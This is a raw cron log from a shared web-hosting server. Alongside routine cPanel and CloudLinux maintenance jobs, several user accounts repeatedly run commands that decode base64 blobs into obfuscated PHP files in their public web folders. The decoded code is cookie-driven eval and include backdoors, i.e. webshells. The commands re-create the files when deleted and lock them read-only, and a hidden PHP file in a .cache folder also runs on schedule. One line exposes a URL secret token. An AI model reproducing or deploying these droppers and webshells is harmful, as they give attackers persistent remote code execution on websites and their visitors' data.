Mar  2 08:23:01 medusa CROND[25542]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:23:01 medusa CROND[25543]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:23:01 medusa CROND[25541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:23:01 medusa CROND[25548]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:24:01 medusa CROND[10529]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:24:02 medusa CROND[10746]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:24:02 medusa CROND[10747]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:24:02 medusa CROND[10749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:24:02 medusa CROND[10751]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:24:02 medusa CROND[10748]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:24:02 medusa CROND[10750]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:24:02 medusa CROND[10752]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:24:02 medusa CROND[10753]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:24:02 medusa CROND[10770]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:24:02 medusa CROND[10769]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:24:02 medusa CROND[10768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:24:02 medusa CROND[10772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:25:01 medusa CROND[26232]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:25:01 medusa CROND[26303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:25:02 medusa CROND[26411]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:25:02 medusa CROND[26453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:25:02 medusa CROND[26454]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:25:02 medusa CROND[26456]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:25:02 medusa CROND[26457]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  2 08:25:02 medusa CROND[26459]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:25:02 medusa CROND[26460]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:25:02 medusa CROND[26461]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:25:02 medusa CROND[26462]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:25:02 medusa CROND[26463]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:25:02 medusa CROND[26458]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:25:02 medusa CROND[26467]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:25:02 medusa CROND[26470]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:25:02 medusa CROND[26455]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:25:02 medusa CROND[26476]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:25:02 medusa CROND[26469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:25:02 medusa CROND[26464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:25:02 medusa CROND[26474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:25:02 medusa CROND[26452]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:25:02 medusa CROND[26475]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
